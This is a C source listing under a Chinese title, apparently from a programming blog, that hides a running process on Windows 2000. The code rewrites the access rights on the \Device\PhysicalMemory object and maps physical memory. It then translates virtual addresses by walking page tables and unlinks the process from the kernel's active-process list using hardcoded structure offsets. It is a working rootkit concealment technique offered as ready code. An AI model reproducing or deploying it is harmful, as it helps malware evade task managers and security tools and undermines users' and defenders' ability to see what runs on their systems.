在Win2K系统中隐藏进程的VC代码

在Win2K系统中隐藏进程的VC代码

#include < windows.h >  
#include < Accctrl.h >  
#include < Aclapi.h >  
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#define  NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 
#define  STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 
#define  STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L) 

typedef LONG NTSTATUS; 
typedef  struct  _IO_STATUS_BLOCK 
... { 
NTSTATUS Status; 
ULONG Information; 
}  IO_STATUS_BLOCK,  * PIO_STATUS_BLOCK; 

typedef  struct  _UNICODE_STRING 
... { 
USHORT Length; 
USHORT MaximumLength; 
PWSTR Buffer; 
}  UNICODE_STRING,  * PUNICODE_STRING; 

#define  OBJ_INHERIT 0x00000002L 
#define  OBJ_PERMANENT 0x00000010L 
#define  OBJ_EXCLUSIVE 0x00000020L 
#define  OBJ_CASE_INSENSITIVE 0x00000040L 
#define  OBJ_OPENIF 0x00000080L 
#define  OBJ_OPENLINK 0x00000100L 
#define  OBJ_KERNEL_HANDLE 0x00000200L 
#define  OBJ_VALID_ATTRIBUTES 0x000003F2L 

typedef  struct  _OBJECT_ATTRIBUTES 
... { 
ULONG Length; 
HANDLE RootDirectory; 
PUNICODE_STRING ObjectName; 
ULONG Attributes; 
PVOID SecurityDescriptor; 
PVOID SecurityQualityOfService; 
}  OBJECT_ATTRIBUTES,  * POBJECT_ATTRIBUTES; 

typedef NTSTATUS (CALLBACK *  ZWOPENSECTION)( 
OUT PHANDLE SectionHandle, 
IN ACCESS_MASK DesiredAccess, 
IN POBJECT_ATTRIBUTES ObjectAttributes 
); 

typedef VOID (CALLBACK *  RTLINITUNICODESTRING)( 
IN OUT PUNICODE_STRING DestinationString, 
IN PCWSTR SourceString 
); 

RTLINITUNICODESTRING RtlInitUnicodeString; 
ZWOPENSECTION ZwOpenSection; 
HMODULE g_hNtDLL  =  NULL; 
PVOID g_pMapPhysicalMemory  =  NULL; 
HANDLE g_hMPM  =  NULL; 

BOOL InitNTDLL() 
... { 
g_hNtDLL = LoadLibrary( "ntdll.dll" ); 
if ( !g_hNtDLL ) 
...{ 
return FALSE; 
} 

RtlInitUnicodeString = 
(RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString"); 

ZwOpenSection = 
(ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection"); 

return TRUE; 
}  

VOID CloseNTDLL() 
... { 
if(g_hNtDLL != NULL) 
...{ 
FreeLibrary(g_hNtDLL); 
} 
}  

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) 
... { 

PACL pDacl=NULL; 
PACL pNewDacl=NULL; 
PSECURITY_DESCRIPTOR pSD=NULL; 
DWORD dwRes; 
EXPLICIT_ACCESS ea; 

if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION, 
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS) 
...{ 
goto CleanUp; 
} 

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); 
ea.grfAccessPermissions = SECTION_MAP_WRITE; 
ea.grfAccessMode = GRANT_ACCESS; 
ea.grfInheritance= NO_INHERITANCE; 
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; 
ea.Trustee.TrusteeType = TRUSTEE_IS_USER; 
ea.Trustee.ptstrName = "CURRENT_USER"; 


if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS) 
...{ 
goto CleanUp; 
} 

if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS) 
...{ 
goto CleanUp; 
} 

CleanUp: 

if(pSD) 
LocalFree(pSD); 
if(pNewDacl) 
LocalFree(pNewDacl); 
}  

HANDLE OpenPhysicalMemory() 
... { 
NTSTATUS status; 
UNICODE_STRING physmemString; 
OBJECT_ATTRIBUTES attributes; 

RtlInitUnicodeString( &physmemString, L"/Device/PhysicalMemory" ); 

attributes.Length = sizeof(OBJECT_ATTRIBUTES); 
attributes.RootDirectory = NULL; 
attributes.ObjectName = &physmemString; 
attributes.Attributes = 0; 
attributes.SecurityDescriptor = NULL; 
attributes.SecurityQualityOfService = NULL; 

status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes); 

if(status == STATUS_ACCESS_DENIED)...{ 
status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes); 
SetPhyscialMemorySectionCanBeWrited(g_hMPM); 
CloseHandle(g_hMPM); 
status =ZwOpenSection(&g_hMPM,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&attributes); 
} 

if( !NT_SUCCESS( status )) 
...{ 
return NULL; 
} 

g_pMapPhysicalMemory = MapViewOfFile( 
g_hMPM, 
4, 
0, 
0x30000, 
0x1000); 
if( g_pMapPhysicalMemory == NULL ) 
...{ 
return NULL; 
} 

return g_hMPM; 
}  

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr) 
... { 
ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr; 
PGDE=BaseAddress[VAddr>>22]; 
if ((PGDE&1)!=0) 
...{ 
ULONG tmp=PGDE&0x00000080; 
if (tmp!=0) 
...{ 
PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF); 
} 
else 
...{ 
PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000); 
PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12]; 
if ((PTE&1)!=0) 
...{ 
PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF); 
UnmapViewOfFile((PVOID)PGDE); 
} 
else return 0; 
} 
} 
else return 0; 

return (PVOID)PAddr; 
}  

ULONG GetData(PVOID addr) 
... { 
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); 
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000); 
if (tmp==0) 
return 0; 
ULONG ret=tmp[(phys & 0xFFF)>>2]; 
UnmapViewOfFile(tmp); 
return ret; 
}  

BOOL SetData(PVOID addr,ULONG data) 
... { 
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); 
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000); 
if (tmp==0) 
return FALSE; 
tmp[(phys & 0xFFF)>>2]=data; 
UnmapViewOfFile(tmp); 
return TRUE; 
}  

BOOL HideProcessAtAll() 
... { 
if (InitNTDLL()) 
...{ 
if (OpenPhysicalMemory()==0) 
...{ 
return FALSE; 
} 
ULONG thread=GetData((PVOID)0xFFDFF124); 
ULONG process=GetData(PVOID(thread+0x22c)); 
ULONG fw=GetData(PVOID(process+0xa0)),bw=GetData(PVOID(process+0xa4)); 
SetData(PVOID(fw+4),bw); 
SetData(PVOID(bw),fw); 
CloseHandle(g_hMPM); 
CloseNTDLL(); 
} 
return TRUE; 
}